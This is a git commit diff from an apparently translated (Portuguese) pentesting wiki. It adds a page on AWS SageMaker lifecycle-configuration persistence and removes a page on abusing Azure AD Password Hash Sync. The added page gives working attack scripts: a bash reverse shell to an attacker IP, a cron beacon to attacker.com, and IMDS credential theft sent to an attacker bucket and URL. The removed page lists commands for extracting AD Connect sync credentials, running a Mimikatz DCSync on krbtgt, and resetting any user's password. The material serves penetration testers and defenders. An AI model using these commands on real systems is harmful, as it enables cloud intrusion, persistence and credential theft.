Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:36:16 +00:00
parent a5e7b329a8
commit 9f546609c8
5 changed files with 262 additions and 117 deletions

View File

@@ -0,0 +1,156 @@
# AWS - Persistência da Configuração do Ciclo de Vida do SageMaker
## Visão Geral das Técnicas de Persistência
Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo 'apenas VPC'.
#### Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
## Permissões Necessárias
* Instâncias de Notebook:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Aplicações do Studio:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Definir Configuração de Ciclo de Vida em Instâncias de Notebook
### Exemplos de Comandos AWS CLI:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Definir Configuração de Ciclo de Vida no SageMaker Studio
As Configurações de Ciclo de Vida podem ser anexadas em vários níveis e a diferentes tipos de aplicativos dentro do SageMaker Studio.
### Nível de Domínio do Studio (Todos os Usuários)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Nível de Espaço do Estúdio (Espaços Individuais ou Compartilhados)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
### Comando de Exemplo para Cada Tipo:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Informações Críticas:
* Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente mais viáveis no nível de espaço do que no nível de domínio.
* Controles em nível de rede (por exemplo, filtragem de egress estrita) podem prevenir shells reversos bem-sucedidos ou exfiltração de dados.
## Shell Reverso via Configuração de Ciclo de Vida
As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook iniciam. Um atacante com permissões pode estabelecer um shell reverso persistente.
### Exemplo de Payload:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Persistência de Cron Job via Configuração de Ciclo de Vida
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência furtiva.
### Exemplo de Payload:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Exfiltração de Credenciais via IMDS (v1 & v2)
As configurações de ciclo de vida podem consultar o Serviço de Metadados da Instância (IMDS) para recuperar credenciais IAM e exfiltrá-las para um local controlado pelo atacante.
### Exemplo de Payload:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

View File

@@ -1,114 +0,0 @@
# Az - PHS - Sincronização de Hash de Senha
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
É o **método mais comum** usado por empresas para sincronizar um AD local com o Azure AD.
Todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.\
Além disso, grupos de segurança **integrados** (como administradores de domínio...) **não são sincronizados** com o Azure AD.
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
**PHS** é necessário para recursos como **Proteção de Identidade** e Serviços de Domínio AAD.
## Pivotando
Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**:
- A conta **`MSOL_<installationID>`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD.
As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível obter privilégios elevados no AD e no AzureAD.
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Encontrando o **servidor de conexão do Azure AD**
Se o **servidor onde o Azure AD Connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusando do MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> Você também pode usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obter essas credenciais.
### Abusando Sync\_\*
Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
É também possível despejar a senha deste usuário.
> [!CAUTION]
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
### SSO Sem Costura
É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Confira em:
{{#ref}}
seamless-sso.md
{{#endref}}
## Referências
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}